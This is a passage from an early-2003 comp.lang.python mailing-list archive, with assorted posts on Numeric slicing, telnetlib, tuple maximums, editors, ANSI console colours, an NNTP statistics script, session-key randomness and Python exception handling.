In-Reply-To: <YC5U9.6651$%V.6206@nwrddc02.gnilink.net>
References: <87n0m7urz4.fsf@gvdnet.dk> <YC5U9.6651$%V.6206@nwrddc02.gnilink.net>
Message-ID: <200301132200.OAA19047@mail.arc.nasa.gov>

On Saturday 11 January 2003 19:51, Carl Banks wrote:
> For example, lists (and Numeric
> arrays) can do this:
>
>     a = b[:]

Just to be pedantic, Numeric arrays (ie, from the Numeric module) do 
NOT copy when you slice them.  They return views into the slice.  This 
break from Python semantics was done early on as a performance 
enhancement, and can cause no end of confusion (unfortunately).

You copy Numeric arrays with the .copy() method.  I think the 
'numarray' people (who are building a replacement for Numeric) have 
gone back and forth over whether to keep the 
slices-are-views-not-copies feature, and have decided (for 
compatibility w/ Numeric) to keep it as is.

But regardless, since it may matter, Numeric slices do not produce 
copies, but views (or aliases).

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
cnetzer at mail.arc.nasa.gov




From eddie at holyrood.ed.ac.uk  Fri Jan 10 12:15:36 2003
From: eddie at holyrood.ed.ac.uk (Eddie Corns)
Date: Fri, 10 Jan 2003 17:15:36 +0000 (UTC)
Subject: telnetlib
References: <mailman.1042211659.514.python-list@python.org>
Message-ID: <avmv3o$ep5$1@scotsman.ed.ac.uk>

"Dickerson, Dee" <Dickerson4 at dow.com> writes:

>Below is telnet code that I am trying to get going.  I am going from a Windows2000 machine to a Redhat Linux machine; the ls command will not run as I can tell; it does not return any output.
> 
>I need to be able to execute other commands such as ps with options such as
> 
>ps -eda -format pid,command |grep legion-server,,,,, etc|
> 
>I would appreciate any help that anyone could offer.
> 
> 
>import telnetlib
>import sys
>from hostlistdee import hostlistdee
> 
>user='legion'
>pw='*******'
> 
>for host in hostlistdee:
>   try:
>      tn=telnetlib.Telnet(host)
>      tn.read_until("login: ")
>      tn.write(user+'\n') 
>      tn.read_until('Password: ')
>      tn.write(pw+'\n')
>      tn.write('ls\n')
>      tn.write('exit\n')
>      tn.read_all()
>      tn.close()
>      print 'started ',host
>   except:
>      print 'failed ',host
>   # end try
># end def

2 things.  How do you know there's no output if you don't print the results
from tn.read_*? and secondly you should never close a telnet connection until
you've safely read all outstanding data because closing the connection flushes
all outstanding data and you don't see it.  The 'exit' command, I think, will
cause the far end to close the connection.



From p-abel at t-online.de  Tue Jan 21 15:52:20 2003
From: p-abel at t-online.de (Peter Abel)
Date: 21 Jan 2003 12:52:20 -0800
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net>
Message-ID: <13a533e8.0301211252.187ffeb9@posting.google.com>

Terry Hancock <hancock at anansispaceworks.com> wrote in message news:<ygaX9.4400$bL4.431294 at newsread2.prod.itd.earthlink.net>...
> Mario Wehbrink wrote:
> > i have a list of tuples that look like:
> > [(1,3,5), (8,16,2), (2,56,4)]
> > 
> > what i am interested, in is the tuple with the greatest value in pos 3.
> > So in this case it would be (1,3,5). Is there a way to tell
> > max(mylistoftuples) to only look at the last position of the tuples?
> 
> Don't know if this is the most elegant solution, but it does work:
> 
> l = [(1, 3, 5), (8, 16, 2), (2, 56, 4)]
> z = zip(*l)
> z  # prints [(1, 8, 2), (3, 16, 56), (5, 2, 4)]
> l[list(z[2]).index(max(z[2]))]  # prints (1, 3, 5)
> 
> Ugly, but:
> 
> * zip combines sequences into a list of tuples
> * one of these contains the sequence you want to test
> * we find the maximum and what its index in the sequence is
> * we use that to look up the index in the original list
> 
> Maybe someone will have a more elegant solution.
> 
> Cheers,
> Terry

Silly me!!!
The correct code is:
>>> l = [(1, 3, 5), (8, 16, 2), (2, 56, 4)]
>>> reduce(lambda y,x:y[2]>x[2] and y or x,l,(-1.e16,-1.e16,-1.e16))
(1, 3, 5)

And it works also with:
>>> l = [(1, 3, -5), (8, 16, -2), (2, 56, -4)]
>>> reduce(lambda y,x:y[2]>x[2] and y or x,l,(-1.e16,-1.e16,-1.e16))
(8, 16, -2)

Or with:
>> l = [(1, 3, -5), (8, 16, -200), (2, 56, -4)]
>>> reduce(lambda y,x:y[2]>x[2] and y or x,l,(-1.e16,-1.e16,-1.e16))
(2, 56, -4)
>>> 

Sorry
Peter



From tjg at craigelachie.org  Wed Jan 29 01:44:43 2003
From: tjg at craigelachie.org (Timothy Grant)
Date: Tue, 28 Jan 2003 22:44:43 -0800
Subject: [Q] Customizable text editor based on Python?
In-Reply-To: <3E372422.30E3AEAB@engcorp.com>
References: <1fpidub.1nl29qx1bozn22N%eRrEiMcOgVoErMrE@cox.net> <3E372422.30E3AEAB@engcorp.com>
Message-ID: <200301282244.44719.tjg@craigelachie.org>

> Eric wrote:
> I was wondering if people could point me to a text editor which can be
> extended using Python, similar to how Emacs can be extended via LISP and
> Alpha can be extended via TCL/TK.

Vim with Python compiled in. Glimmer (http://glimmer.sourceforge.net). Scite

-- 
Stand Fast,
    tjg.

Timothy Grant
www.craigelachie.org





From mwilson at the-wire.com  Sat Jan 25 10:47:41 2003
From: mwilson at the-wire.com (Mel Wilson)
Date: Sat, 25 Jan 2003 10:47:41 -0500
Subject: Illegal literal or not?
References: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>
Message-ID: <dGrM+ks/KrEc089yn@the-wire.com>

In article <_RfY9.862$d66.98244 at newsread1.prod.itd.earthlink.net>,
"LJ & MT Lareau" <ljlmtlvt at earthlink.net> wrote:
>Is it possible to have Python produce the following literal output in the
>interactive mode.
>'"Let's try this!", they said.'
>If so what is the Python statement. I've tried several ways
>and can't seem to produce it.  Thanks for the help.

Just for weirdness' sake (there have been better answers)...

print "'" + '"' + "Let's try this!" + '"' + ', they said.' + "'"

print ''.join (["'", '"', "Let's try this!", '"', ', they said.', "'"])


        Regards.        Mel.



From pyth at devel.trillke.net  Mon Jan 13 13:49:15 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Mon, 13 Jan 2003 19:49:15 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] MinimalPython project)
In-Reply-To: <avv00s$elh$1@mailgate2.lexis-nexis.com>; from Dick.Zantow@lexisnexis.com on Mon, Jan 13, 2003 at 01:19:08PM -0500
References: <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <3E222FC1.40908@tismer.com> <mailman.1042458465.10767.python-list@python.org> <avv00s$elh$1@mailgate2.lexis-nexis.com>
Message-ID: <20030113194915.B349@prim.han.de>

rzed wrote:
> holger krekel wrote:
> > [Christian Tismer Mon, Jan 13, 2003 at 04:17:21AM +0100]
> >> Bengt Richter wrote:
> >>> At 03:39 2003-01-13 +0100, Christian Tismer wrote:
> >>> [...]
> >>>
> >>>> At the same time, as much as possible should become
> >>>> pluggable. It will be possible to have MiniPy
> >>>
> >>> [...]
> >>>
> >>> Is "MiniPy" the official name ?
> >>
> >> No.
> >> There is no official name, yet.
> >
> > I suggest we use 'pypy' and/or 'Minimal Python' for
> > the time before the sprint.
> >
> > On one of the sprint evenings we should discuss and
> > decide (vote) on the eventual name. [1]
> >
> > Without code you can't vote :-)
> >
> > cheers,
> >
> >     holger
> >
> >
> > [1] FWIW, Currently I think that i will propose   P
> >     (courtesy of Tim Churches).
> 
> Oh no!! Then we'd be writing P-code!
> 
> And, at least in America, "coding in P" sounds like urine over your
> head. (Not you, holger, but I mean ... )

i guess i just forget about naming until the sprint, then :-)

    holger




From jbperez808 at yahoo.com  Fri Jan 17 03:54:04 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 17 Jan 2003 00:54:04 -0800
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com> <mailman.1042765110.10945.python-list@python.org>
Message-ID: <f57664b9.0301170054.1c5fbe38@posting.google.com>

Chad Netzer <cnetzer at mail.arc.nasa.gov> wrote in message news:<mailman.1042765110.10945.python-list at python.org>...

> FWIW. list.reverse() is often not too bad since it only has to do the 
> work of reversing the list indices in memory, not copying the actual 
> objects themselves.  Iterating backwards does save an O(N) operation, 
> but for small lists, list.reverse() is likely faster.

I need to iterate using for in both the original order and 
in reverse depending on the situation.

The main thing that bugs me is that I have to choose between 
storing 2 copies of the same data (one reversed, the other not)
or I have to do a couple of reverse()s each time (to undo the 
transformation) I need to access the list in reverse.  The former
is wasteful of space, the latter of performance.



From peter at engcorp.com  Thu Jan  2 22:22:42 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 02 Jan 2003 22:22:42 -0500
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <pcn2va.go3.ln@beastie.ix.netcom.com>
Message-ID: <3E150202.4CB9A9B2@engcorp.com>

Dennis Lee Bieber wrote:
> 
> eltronic at juno.com fed this fish to the penguins on Thursday 02 January
> 2003 03:34 pm:
> 
> >
> > HTML is a programming language, why else would I have to debug it?
> >
>         Then news posts and email are programming languages too, as I have to
> debug (spell-check) them <G>

I see the grin, but note that this is exactly why those
are *not* programming languages, while HTML definitely is.
If you write the wrong HTML, the computer does not do what it is
supposed to do, while if you put the wrong content in your email
or news post, only humans mind.

Telling a computer (even a mechanical one) what to do is programming,
pure and simple.

-Peter



From CousinStanley at HotMail.com  Sat Jan 11 09:06:52 2003
From: CousinStanley at HotMail.com (Cousin Stanley)
Date: Sat, 11 Jan 2003 07:06:52 -0700
Subject: How to change colors of console window?
References: <3e1ab443_1@corp.newsgroups.com> <avepvu$o6k$0@216.39.172.122> <avhh4d$ffmlh$1@ID-130333.news.dfncis.de> <avhobn$d5g$0@216.39.172.122> <avi1u6$g4ojc$1@ID-130333.news.dfncis.de> <3e1e153c_3@corp.newsgroups.com>
Message-ID: <avp8c5$hl7p9$1@ID-130333.news.dfncis.de>

|| Can you give an example of using an escape sequence
|| to change the DOS windows to, say blue on white ?

Bill ...

According to the documentation I've found,
the following ANSI Escape Sequence  SHOULD  produce
blue foreground / white background  from a BAT file ...

echo ;

However, on my Win98 system it comes out
blue on silver ...

I also can't seem to produce a  yellow  background
and the  blink  sequence doesn't blink on my machine ...

Following is a BAT file with a few more examples ...

Cousin Stanley

-----------------------------------------------------

:: aColors.bat

@echo off
cls
echo.

echo  %0.bat
echo.
echo  Ansi.Sys Foreground Colors
echo.

echo     0 :  Light on Dark   { Default }
echo     7 :  Dark  on Light  { Inverse }  
echo  30 :  Black
echo  31 :  Red
echo  32 :  Green
echo  33 :  Yellow
echo  34 :  Blue
echo  35 :  Magenta
echo  36 :  Cyan
echo  37 :  White

echo 

echo.
echo  Ansi.Sys Background Colors
echo.

echo  40 :  Black         
echo  41 :  Red           
echo  42 :  Green         
echo  43 :  Yellow ???    
echo  44 :  Blue          
echo  45 :  Magenta       
echo  46 :  Cyan          
echo  47 :  Light         
echo   7 :  Dark on Light 
echo 

echo.
echo  Blink This

echo.
echo  Ansi Escape Sequence

echo 





From sasDOTepsylon at wanadoo.fr  Mon Jan 13 07:57:46 2003
From: sasDOTepsylon at wanadoo.fr (EpSyLOn)
Date: Mon, 13 Jan 2003 13:57:46 +0100
Subject: Seeking Minimal Python Project Name
References: <mailman.1042456912.31274.python-list@python.org>
Message-ID: <rpd52vc1s0rorc663i7n5soc4goku1hmts@4ax.com>

On Mon, 13 Jan 2003 03:21:44 -0800, Kow K <kowk at earthlink.net> wrote:

>
>
>Lighthon	(sounds lighter and smaller ...)

Two "h", it's kind of confusing...

>Lython		(variation of the above)

I love this one. It's a lighter Python (and it's very close to Python
because only one letter changes).
-- 
  .-.  EpSyLOn      sas<dot>epsylon<at>wanadoo<dot>fr
  oo|  faq fclc:    http://www.isty-info.uvsq.fr/~rumeau/fclc
 /`'\  Usenet  :    http://www.usenet-fr.net
(\_;/) "Quand le sage montre la lune, l'imb?cile regarde le doigt"



From akjmicro at yahoo.com  Sat Jan 25 17:40:05 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Sat, 25 Jan 2003 16:40:05 -0600
Subject: usenet statistics script....happy hacking!!!
Message-ID: <b0v3n7$cgs$1@bob.news.rcn.net>

If anyone improves this, repost to the community, please.

######## start here
####### newsdata, by Aaron K. Johnson <akj at 21stcentruy.net>

#!/PUT/YOUR/PYTHON/PATH/HERE

from nntplib import *
from string import find,split,join

########## change the data output file below:
outfile=open('put_your_data_file_here','w')
########## change the news server:
s=NNTP('news.whatever.whatever')

newsgroups=['comp.lang.ada', 'comp.lang.apl', 'comp.lang.asm.x86',
			'comp.lang.asm370', 'comp.lang.awk', 'comp.lang.basic.misc',
			'comp.lang.basic.powerbasic', 'comp.lang.basic.realbasic',
			'comp.lang.basic.visual.3rdparty',
			'comp.lang.basic.visual.announce',
			'comp.lang.basic.visual.database',
			'comp.lang.basic.visual.misc', 'comp.lang.beta', 'comp.lang.c',
			'comp.lang.c.moderated','comp.lang.c++', 'comp.lang.c++.leda',
			'comp.lang.c++.moderated', 'comp.lang.clarion',
			'comp.lang.clipper', 'comp.lang.clipper.visual-objects',
			'comp.lang.clos', 'comp.lang.clu', 'comp.lang.cobol',
			'comp.lang.dylan', 'comp.lang.eiffel', 'comp.lang.forth',
			'comp.lang.forth.mac', 'comp.lang.fortran',
			'comp.lang.functional', 'comp.lang.hermes', 'comp.lang.icon',
			'comp.lang.idl', 'comp.lang.idl-pvwave',
			'comp.lang.java.advocacy', 'comp.lang.java.announce',
			'comp.lang.java.beans', 'comp.lang.java.corba',
			'comp.lang.java.databases', 'comp.lang.java.gui',
			'comp.lang.java.help', 'comp.lang.java.machine',
			'comp.lang.java.programmer', 'comp.lang.java.security',
			'comp.lang.java.softwaretools', 'comp.lang.javascript',
			'comp.lang.labview', 'comp.lang.limbo', 'comp.lang.lisp',
			'comp.lang.lisp.franz', 'comp.lang.lisp.mcl',
			'comp.lang.lisp.x', 'comp.lang.logo', 'comp.lang.misc',
			'comp.lang.ml', 'comp.lang.modula2', 'comp.lang.modula3',
			'comp.lang.mumps', 'comp.lang.oberon', 'comp.lang.objective-c',
			'comp.lang.pascal.ansi-iso', 'comp.lang.pascal.borland',
			'comp.lang.pascal.delphi.advocacy',
			'comp.lang.pascal.delphi.announce',
			'comp.lang.pascal.delphi.components.misc',
			'comp.lang.pascal.delphi.components.usage',
			'comp.lang.pascal.delphi.components.writing',
			'comp.lang.pascal.delphi.databases',
			'comp.lang.pascal.delphi.misc', 'comp.lang.pascal.mac',
			'comp.lang.pascal.misc', 'comp.lang.perl.announce',
			'comp.lang.perl.misc', 'comp.lang.perl.moderated',
			'comp.lang.perl.modules', 'comp.lang.perl.tk', 'comp.lang.pl1',
			'comp.lang.php', 'comp.lang.pop', 'comp.lang.postscript',
			'comp.lang.prograph', 'comp.lang.prolog', 'comp.lang.python',
			'comp.lang.python.announce', 'comp.lang.rexx', 'comp.lang.ruby',
			'comp.lang.sather', 'comp.lang.scheme', 'comp.lang.scheme.c',
			'comp.lang.scheme.scsh', 'comp.lang.smalltalk', 'comp.lang.tcl',
			'comp.lang.tcl.announce', 'comp.lang.verilog', 'comp.lang.vhdl',
			'comp.lang.visual', 'comp.lang.vrml']

oldbasename='' ####### for comp.lang.* hierarchies

virgin=1
authors=[]
data=[]

########### main loop
for newsgroup in newsgroups:
	basename=join(newsgroup.split('.')[:3],'.')
	gr=s.group(newsgroup)
	############### flush data to data array, and empty author pool,
	############### if new basename detected, 
	############### and we've done at least one already.....
	if basename != oldbasename and not virgin:
		print "total users: ", len(authors)
		data.append([len(authors), oldbasename])
		authors=[]
	print 'group is', newsgroup
	print 'basename is', basename
	pool=s.xhdr('date','-') ####### give me all you've got on the server
	date_pool=[]
	for date in pool[1]:  ######## filter out all those not Dec 2002
	########### enter date below:
		if date[1].find('Dec 2002') != -1:
			date_pool.append(date[0])
	try:  ######## ignore if empty, try next newsgroup
		first=date_pool[0]
		last=date_pool[-1]
		image=first + '-' + last
	except:
		continue
	array=s.xhdr('from', image)	
	##############################
	for article in array[1]:
		author=article[1]
		if not author in authors:
			authors.append(author)
	########### output:
	oldbasename=basename
	virgin=0

##### final flush after exiting for loop:
print "total users: ", len(authors)
data.append([len(authors), oldbasename])

####### now we sort:
data.sort()
data.reverse()
for item in data:
	outfile.write("%s %s\n" % (item[1],item[0]))
outfile.close()

		




From peter at engcorp.com  Tue Jan 28 19:49:04 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 19:49:04 -0500
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net>
Message-ID: <3E3724FF.8358506E@engcorp.com>

Brandon Van Every wrote:
> 
> Python is a "glue" language, ...

Just checking here :-)... you're not saying Python is *only* a glue 
language, right?  Just that it *can be* used as a glue language when
you need such a thing?

-Peter



From maxm at mxm.dk  Tue Jan 21 06:25:58 2003
From: maxm at mxm.dk (Max M)
Date: Tue, 21 Jan 2003 12:25:58 +0100
Subject: max() of a list of tuples
In-Reply-To: <3e2d27c6$1_1@news.uni-bielefeld.de>
References: <3e2d27c6$1_1@news.uni-bielefeld.de>
Message-ID: <3E2D2E46.6060104@mxm.dk>

Mario Wehbrink wrote:

 > i have a list of tuples that look like:
 > [(1,3,5), (8,16,2), (2,56,4)]
 >
 > what i am interested, in is the tuple with the greatest value in pos 3.
 > So in this case it would be (1,3,5). Is there a way to tell
 > max(mylistoftuples) to only look at the last position of the tuples?


l = [(1,3,5), (8,16,2), (2,56,4)]
print max([(i[-1],i) for i in l])[1]

 >>> (1,3,5)

-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From ark at gmx.net  Tue Jan 28 18:32:54 2003
From: ark at gmx.net (Arne Koewing)
Date: Wed, 29 Jan 2003 00:32:54 +0100
Subject: patching of python: tabs make me seek of python
References: <f210c9f3.0301281143.22c01152@posting.google.com> <Q7GcnUD8f4xac6ujXTWcqg@comcast.com>
Message-ID: <b17432$58v@news.Informatik.Uni-Oldenburg.DE>

"Terry Reedy" <tjreedy at udel.edu> writes:

...
> Warning: if you keep using Python another month or two, you might
> instead start thinking about patching C/C++ to recognize block indents
> in addition to braces.  It has happened to other people.
>
> Terry J. Reedy
>
>
This hapened more than once:

cugar: syntactical sugar for C++
http://www.boswa.com/misc/
Cugar makes C++ look a lot like Python

Cython:
http://www.algonet.se/~jsjogren/oscar/cython/
Cython a  preprocessor that lets you code C and C++  with a more
Pythonish synthax (it's written in Perl ;-) 




From nagylzs at freemail.hu  Tue Jan 28 16:21:02 2003
From: nagylzs at freemail.hu (=?ISO-8859-1?Q?Nagy_L=E1szl=F3?=)
Date: Tue, 28 Jan 2003 22:21:02 +0100
Subject: Generating Unique Keys
References: <mailman.1043710965.5817.python-list@python.org> <7xy956jf5j.fsf@ruckus.brouhaha.com> <47e891f1.0301281237.16079102@posting.google.com> <7xvg09c8bi.fsf@ruckus.brouhaha.com>
Message-ID: <3E36F43E.1090803@freemail.hu>

>
>
>If you've got a source of good random numbers, you can just use them
>directly as tokens and not need this hashing stuff.
>

There are whole books about what are the "good" (pseudo) random numbers. 
The perfect answer
is this: depends on what you want to do with them. If you want to use 
them to create session
keys, you will surely need to use a hash function. The PRNG algorithm 
can be explored in almost
all cases (especially when using /dev/random), and this is a security 
risk. A "good" PRNG ("good" depends
on the application) is measured by statistical properties (both 
theoretical and empirical). But most
"good" PRNGs are not tested aganist invertion. You can conclude PRNG 
state information from a random
number sequence. Not so easy, but much more easy than invert a hash 
function like SHA1. :-)
IMHO you should use a hash function (why not?)

Laci 1.0

p.s.: Sorry for my broken English





From sschwarzer at sschwarzer.net  Thu Jan 23 15:35:32 2003
From: sschwarzer at sschwarzer.net (Stefan Schwarzer)
Date: Thu, 23 Jan 2003 21:35:32 +0100
Subject: UML and Python
References: <OGFW9.1425$Sv3.183917@newsread1.prod.itd.earthlink.net>
Message-ID: <b0pjml$q0h$1@news.online.de>

Terry Hancock wrote:
> Would I be wasting my time to use UML?  And if I do use it, should I 
> concentrate on being rigorously correct or just use quick, simplified 
> representations?

It depends. :-) In my opinion, any diagrams shouldn't be an end in itself but rather
a means to help designing and explaining the code. So, I use UML only when it
helps me to design or explain something which would be more difficult without UML
(see also http://www.agilemodeling.com/ ).

Consequently, I use UML rather seldom (though I like it), mostly when designing
frameworks or discussing a design with colleague.

> I'm using "dia" to do this. I created some reverse-engineered drawings 
> using happydoc, but I'm actually moving towards just doing new design from 
> scratch, because the automatically generated drawing is kind of a pain to 
> work with.

So far, I've mostly used Poseidon from Gentleware ( http://www.gentleware.com/ )
and I like it.

Stefan




From wouterm at spammers-unite-here.com  Tue Jan 28 23:01:12 2003
From: wouterm at spammers-unite-here.com (Wouter van Marle)
Date: Wed, 29 Jan 2003 12:01:12 +0800
Subject: Installer for Python software (Linux)
Message-ID: <b17j29$e1515@imsp212.netvigator.com>

Hi All!

At the moment I am developing a piece of software that is targeted at the
office market, my ambition is in future to make it part of Gnome Office, or
at least easily compatible with that project.

Now the software is developing pretty well, and it is time to start thinking
of the installation.
What I am looking for is an installation procedure like this:
- user downloads program
- user runs program, program asks for root password for general installation
(if no root password: user installation)
- program copies *.py to correct dir, and compiles the *.py to *.pyc.
- user has to give some settings for the program to run properly

Now the major problems I see here are:
- how to go to root mode? (and when asking the password: how to change the
users keystrokes to *'s on the fly??)
- how do I compile the *.py to *.pyc without running the program? (I guess
this is trivial, and yes I am lazy so add this to the questions as well).

Any other things that I have to beware of?

Wouter.






From abelikov72 at hotmail.com  Tue Jan  7 07:57:26 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Tue, 07 Jan 2003 12:57:26 GMT
Subject: best python editor/ide for windows
References: <e34e8ce6.0301050714.2f8cf615@posting.google.com>
Message-ID: <v8jl1vkamgeab260i6jql7kn6l9lu9m33b@4ax.com>

On 5 Jan 2003 07:14:14 -0800, grayshade at libero.it (Domenico) wrote:

>have your say...

Someone suggested crimsoneditor(.com), which I never tried until now.
I just wanted to let you know I've changed my best editors list for
the first time in years, adding it just under ultraedit. ;-)

1. ultraedit
2. crimsoneditor
3. editplus
4. zeus

It seems to try to feel like ultraedit more than any other.
If it had at least an archaic method of displaying hex and
a column selection/editing mode, it might topple ultraedit.
( these modes are toggled via ctrl-h & alt-c in ultraedit )

ultraedit is old and ugly, and I choose to use 8.x on purpose,
but nothing else has all the same features. This is about where
I wish the crimsoneditor author would charge for his product
so that he could make time to add some necessary features.

P.S. I use Hex Workshop for real hex based editing as needed,
but having a hex mode in my text editor is very often useful.



From riccardo at Togli_Quest0sideralis.net  Sat Jan 25 13:16:19 2003
From: riccardo at Togli_Quest0sideralis.net (Riccardo Galli)
Date: Sat, 25 Jan 2003 19:16:19 +0100
Subject: Illegal literal or not?
References: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net>
Message-ID: <pan.2003.01.25.18.16.17.813747@Togli_Quest0sideralis.net>

On Fri, 24 Jan 2003 18:46:18 +0000, LJ & MT Lareau wrote:

> Is it possible to have Python produce the following literal output in the
> interactive mode.
> '"Let's try this!", they said.'

Another way (other than Morris's) is
print r''''"Let's try this",they said' '''

-- 
-=Riccardo Galli=-

 _,e.
s~  ``
 ~@.   ideralis Programs
.   ol 
 `**~  http://www.sideralis.net




From samj at eisa.net.au  Fri Jan 31 19:03:26 2003
From: samj at eisa.net.au (samphdauto)
Date: 31 Jan 2003 16:03:26 -0800
Subject: will Python do me good?
Message-ID: <65050d4c.0301311603.4eb79a85@posting.google.com>

Hello every one.. Well, this is the first time I post here since I am
thinking of learning Python... my background is VB and wanting to find
a better language in order to build my project and not sure if Python
is my best option. So your input is greatly appreciated.
My project will need to extract and re-organize information form the
web into my Access database under W2K. The info could be text, data,
files, images, sound files, listings, HTML parsing, sound parsing and
whathaveyou.

So if I give it a list of websites. I will need to write the code to
get specific info from that site or page. So it may need to drill down
to get to the info. I am not sure if I am making enough sense to you.
I hope I am.

Thanks 
Sam



From richard_water61 at hotmail.com  Wed Jan 22 04:40:39 2003
From: richard_water61 at hotmail.com (Richard Waters)
Date: 22 Jan 2003 01:40:39 -0800
Subject: Outlook Express and COM
References: <mailman.1043202040.26582.python-list@python.org>
Message-ID: <20c262a1.0301220140.228f0ba5@posting.google.com>

"Tim Peters" <tim_one at email.msn.com> wrote in message news:<mailman.1043202040.26582.python-list at python.org>...
<snip>
> AFAIK, OE has no programming interface at all, neither COM nor anything else
> (unlike big brother Outlook, which has several programming interfaces --
> some of which even appear to work, sometimes <0.9 wink>).

Slightly off the original topic; one thing to watch with Outlook
(2000, maybe later versions also). There are 2 ways to install it. I
don't remember the exact terminology, but one way gives you an
internet-only version (very similar to OE), the other gives you the
full, corporate Outlook package. The former has fewer automation
interfaces available than the latter so be careful when you write code
to automate it; may not work for everyone!

 - Richard

<snip>



From kevin at cazabon.com  Thu Jan  2 20:40:07 2003
From: kevin at cazabon.com (Kevin@Cazabon.com)
Date: Fri, 03 Jan 2003 01:40:07 GMT
Subject: Announcement:  ICC color management for PIL, pyCMS
Message-ID: <XR5R9.417864$GR5.133478@rwcrnsc51.ops.asp.att.net>

FYI, I've released a module for PIL that implements ICC Color Management
functionality for PIL (the Python Imaging Library).  It consists of a DLL
and a matching Python interface.  It uses the LGPL "littleCMS" library for
the ICC functionality.

Full source code and documentation are available for download too, along
with a pre-build Windows binary.

http://www.cazabon.com/pyCMS

Enjoy, and please send feedback and updates/bug reports if you find any...
your help in testing is appreciated!  Also, I'm looking for pre-built
binaries to post from other platforms/Python builds.

Kevin Cazabon.






From aka at mvps.org  Tue Jan 14 18:08:22 2003
From: aka at mvps.org (Alex K. Angelopoulos)
Date: Tue, 14 Jan 2003 18:08:22 -0500
Subject: ActivePython on Windows: References Question
References: <mailman.1042579468.2572.python-list@python.org>
Message-ID: <b02595$kufqe$1@ID-136433.news.dfncis.de>

Thanks for all the info.  I have some notes below, inline.

<eltronic at juno.com> wrote in message
news:mailman.1042579468.2572.python-list at python.org...
>
> On Mon, 13 Jan 2003 14:19:12 -0500 "Alex K. Angelopoulos" <aka at mvps.org>

> the script engine is not installed by default and
> there is some incomplete and or out of date docs...

> ...unfortunately most of the scripts in the demo dir don't work for me.

I've noticed issues with many Python scripts not working when run from
wscript/cscript, and part of it does seem to be core engine implementation.

I suspect the major problem is the lack of a lot of interest in this hosting
model.  If the Python core was much more widely distributed as an Active
Scripting engine, it would make sense, but in my experience most Windows users
who install Python actually use the entire language natively - you get access to
a lot of fully-wrapped functionality that way.

> Mark Hammond seems to be the single source for all the win32 extensions

he also is the author of one of the few other Active Scripting engines available
in source form, a "Forthish" example available for download from MSKB.

> example of scripting outloook
> http://www.boddie.org.uk/python/COM.html

The problem with Python COM examples is that even the ones which claim to be
"WSH examples",  is that they usually aren't.  They are usually demos of
accessing COM objects installed _with_ WSH, but hosted by Python itself.

This is fine for the usual role of native use, but can produce problems when
used as examples for someone working from WSH-hosted Python.






From cnetzer at mail.arc.nasa.gov  Thu Jan 30 21:09:37 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: 30 Jan 2003 18:09:37 -0800
Subject: Which exception has been used? (was: Which exception to use?)
In-Reply-To: <qjfj3vg9spmf9pfvnnl9uj8odj8pobn9kn@4ax.com>
References: <b16lui$j3s$1@bob.news.rcn.net>
	 <mailman.1043786834.24179.python-list@python.org>
	 <7h3y954ywdw.fsf@pc150.maths.bris.ac.uk>
	 <v3jak3of0o8ga2@corp.supernews.com>
	 <qjfj3vg9spmf9pfvnnl9uj8odj8pobn9kn@4ax.com>
Message-ID: <1043978977.679.17.camel@sayge.arc.nasa.gov>

On Thu, 2003-01-30 at 16:10, Gon?alo Rodrigues wrote:

> Does this solve your problem?
> 
> >>> try:
> ... 	raise TypeError("This is a whacky example!")
> ... except Exception, e:
> ... 	print e
> ... 	
> This is a whacky example!

Well, I think Cameron's point is that one can have exceptions that are
NOT derived from Exception (although it is very bad style; but you may
not have to be prepared to handle other people's code).  Also, string
exceptions are still (and at least pychecker wil report that as a
warning)

This is an example of the kind of problem one might have to be on the
lookout for:


output:

caught MyException
caught Exception
caught non-standard exception __main__.MyDumbException
<__main__.MyDumbException instance at 0x815d2c4>
caught non-standard exception eggs None


code:
"""

import sys
 
class MyException( Exception ):
    pass
 
class MyDumbException:
    pass
 
for exception in (MyException, Exception, MyDumbException, "eggs"):
    try:
        raise exception
    except MyException, e:
        print 'caught MyException', e
    except Exception, e:
        print 'caught Exception', e
    except:
        name, e, traceback = sys.exc_info()
        print 'caught non-standard exception', str( name ), e
"""
-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)






From tjreedy at udel.edu  Tue Jan 21 08:06:02 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 21 Jan 2003 08:06:02 -0500
Subject: How to get the types of the parents of an object ?
References: <3E2D3C3C.8010800@novagrid.com>
Message-ID: <-z6dnZeKDKnC1bCjXTWcqA@comcast.com>

> Now my_class is a child of my_super_class. And I want to check if
> my_object is an instance of my_super_class.

Is this what you are looking for?
>>> class mysuper(object): pass
...
>>> class myclass(mysuper): pass
...
>>> myobject=myclass()
>>> isinstance(myobject,mysuper)
1

Terry J. Reedy





From mh at pixar.com  Fri Jan 31 13:33:34 2003
From: mh at pixar.com (Mark Harrison)
Date: Fri, 31 Jan 2003 18:33:34 GMT
Subject: converting data to hex
References: <Q0j_9.1511$Ir1.259@newssvr16.news.prodigy.com> <mailman.1043972936.7953.python-list@python.org>
